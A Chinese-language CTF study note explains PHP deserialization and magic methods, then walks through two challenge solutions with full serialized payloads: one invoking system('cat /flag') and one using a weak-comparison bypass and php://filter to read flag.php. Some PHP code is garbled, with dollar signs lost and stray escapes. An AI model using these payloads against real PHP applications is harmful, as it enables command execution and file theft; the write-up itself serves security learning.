PHP 反序列化原理:
---未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。
---其实跟文件解析差不多,都是由于传递的恶意参数被执行(序列化和反序列化相当于加解密过程)
---在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
---序列化函数:serialize() //将一个对象转换成一个字符串
---反序列化函数:unserialize() //将字符串还原成一个对象精简
#触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法(魔术方法触发条件:1.反序列化2.存在类2.类中存在魔术方法):
__construct()//创建对象时触发
__destruct() //对象 被销毁时触发
__call() //在对象 上下文中调用不可访问的方法时触发
__callStatic() //在静态 上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性 上调**用 isset()或 empty()**触发
__unset() //在不可访问的属性 上使用**unset()**时触发
__invoke() //当脚本尝试将对象调用为函数时触发
其中:
__construct()//创建对象时触发
__destruct() //对象 被销毁时触发
__invoke() //当脚本尝试将对象调用为函数时触发这三个是经常被利用
1.没有class的情况下来尝试序列和反序列化
在本地从尝试:
简单代码:
<?php
$obj=lllxxy;
echo serialize($obj)
?>

得到的结果是:s:6:"lllxxy";
这个的意思是说---string(字符串);变量长度为6;变量名"lllxxy"
再尝试反序列化(unserialize)
代码:注意要把之前的字符串全部复制然后用''单引号来实现,然后反序列化得到lllxxy对象
<?php
$obj='s:6:"lllxxy";';
echo unserialize($obj)
?>
结果就是

2.含类的简单题--[SWPUCTF 2022 新生赛]1z_unserialize
题目描述
是很简单的反序列化噢
代码:

代码分析构造函数:因为a是一个函数,it赋值给他。然后lly是命令执行的命令,lly赋值到函数里面
我想直接system(6个字符)(cat/flag)(8个字符)应该能得到flag
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt="system";
public $lly="cat/flag";
}
$obj=new lyh();
echo serialize($obj);
?>
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
得到flag:NSSCTF{0201933e-8941-4759-bae4-82c871d70634}
3.[网鼎杯 2020 青龙组]AreUSerialz
整体代码:
<?php
include("flag.php");
highlight_file(FILE);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
res = this->read();
this-\>output(res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset(this-\>filename) \&\& isset(this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
res = file_put_contents(this->filename, $this->content);
if(res) this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
res = file_get_contents(this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for(i = 0; i < strlen(s); i++)
if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
str = (string)_GET['str'];
if(is_valid($str)) {
obj = unserialize(str);
}
}
(1)构造函数
构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename= "/tmp/tmpfile";和content="Hello World!";,最后调用process函数。
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
(2)process函数
判断op的值,如果op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。
注意这里的比较是弱比较,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
res = this->read();
this-\>output(res);
} else {
$this->output("Bad Hacker!");
}
}
3)write函数
写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。
res = file_put_contents(this->filename, $this->content);
filename表示要写入的文件,content表示要写入文件的内容。
private function write() {
if(isset(this-\>filename) \&\& isset(this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
res = file_put_contents(this->filename, $this->content);
if(res) this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
(4)read函数
read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。
这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。
private function read() {
$res = "";
if(isset($this->filename)) {
res = file_get_contents(this->filename);
}
return $res;
}
(5)destruct函数
在php中,destruct会在序列化的时候自动调用。
这里判断$op的值是否为字符2,这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。
通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
(6)is_vaild判断条件函数
用于判断传入的字符串s的每一个字符的ascii码值,是不是都在[32,125]这个区间内,如果是则返回true,不是则返回false;
function is_valid($s) {
for(i = 0; i < strlen(s); i++)
if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))
return false;
return true;
}
(7)传参判断条件
get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。
看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。
if(isset($_GET{'str'})) {
str = (string)_GET['str'];
if(is_valid($str)) {
obj = unserialize(str);
}
}
首先我们令op等于数字2,绕过destruct函数的的强比较。
在上面我们提到read函数当中的 file_get_contents不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。
最后得到payload: ?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

<?php $flag='flag{c0aad4c3-81cd-48ca-bcd5-6c113ed144bd}';